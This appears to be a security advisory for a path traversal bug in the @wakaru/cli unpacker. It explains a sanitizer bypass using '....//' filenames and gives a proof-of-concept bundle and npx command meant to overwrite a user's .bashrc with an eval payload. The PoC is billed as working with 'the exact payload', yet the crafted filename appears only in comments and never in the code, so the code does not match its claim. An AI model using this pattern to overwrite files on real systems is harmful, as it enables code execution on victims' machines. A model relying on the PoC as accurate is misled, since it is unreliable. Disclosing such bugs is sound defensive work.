CVE-2026-54545: @wakaru/cli Arbitrary File Write via Path Traversal in --unpack
A crafted JavaScript bundle can trick the @wakaru/cli unpacker into writing extracted module files outside the intended output directory, potentially enabling code execution.

The problem
When wakaru --unpack extracts a JavaScript bundle, it derives output filenames from bundle-controlled module names. Those names were sanitized to strip ../ sequences before being joined with the output path.
A filename like ....//evil.js survives the sanitizer: removing the inner ../ leaves ../evil.js, which resolves outside the output directory. An attacker who can get a user to unpack a malicious bundle may write arbitrary files anywhere the user has write access.
Proof of concept
A working proof-of-concept for CVE-2026-54545 in @wakaru/cli, with the exact payload below.
// Malicious webpack bundle snippet
// Module ID 1 is given a crafted filename in the module-ID mapping
// so that after sanitization, the output path escapes the output dir.
// The key name in the moduleIdMapping is the attacker-controlled filename.
(function(modules) {
// webpack JSONP bootstrap (simplified)
var installedModules = {};
function __webpack_require__(moduleId) {
if (installedModules[moduleId]) return installedModules[moduleId].exports;
var module = installedModules[moduleId] = { exports: {} };
modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
return module.exports;
}
__webpack_require__(1);
})({
// Module ID 1 mapped to the traversal filename:
// "....//....//....//home/user/.bashrc"
// After the naive sanitizer strips "../" once:
// "....//" -> "../" (overlapping match collapses to "../")
// Resolved output path escapes the -o directory.
1: function(module, exports) {
module.exports = 'eval("malicious payload")';
}
});
// Invoke:
// npx @wakaru/cli malicious-bundle.js --unpack -o /tmp/out
// Writes the extracted module to /tmp/out/../../home/user/.bashrc
// (i.e., /home/user/.bashrc)The root cause (CWE-22) is a naive one-pass replace('../', '') style sanitizer applied to bundle-controlled module filenames. Overlapping sequences like ....// defeat it: removing the inner ../ from ....// produces ../, which path.join then resolves normally to escape the output directory.
The patch in commit 1d30383 replaces the single-pass strip with an iterative or regex-anchored check that resolves the final path and asserts it is still inside the intended output directory, rejecting any path that escapes it. This is the standard "resolve-then-prefix-check" pattern used to close sanitizer-bypass traversal bugs.
The fix
Upgrade to @wakaru/cli@1.4.0. Run npm install @wakaru/cli@latest. Until upgraded, do not run wakaru --unpack on bundles from untrusted sources.
Related research
- highCVE-2026-55607CVE-2026-55607: @anthropic-ai/claude-code Sandbox Escape via Git Worktree Path Confusion
- high · 7.5CVE-2026-15074CVE-2026-15074: @fastify/static Route Guard Bypass via Dot-Dot Path Traversal
- high · 7.5PostCSS Path Traversal via sourceMappingURL Leads to Arbitrary .map File Disclosure
- high · 7.5CVE-2026-45623CVE-2026-45623: PostCSS Arbitrary File Read via sourceMappingURL Path Traversal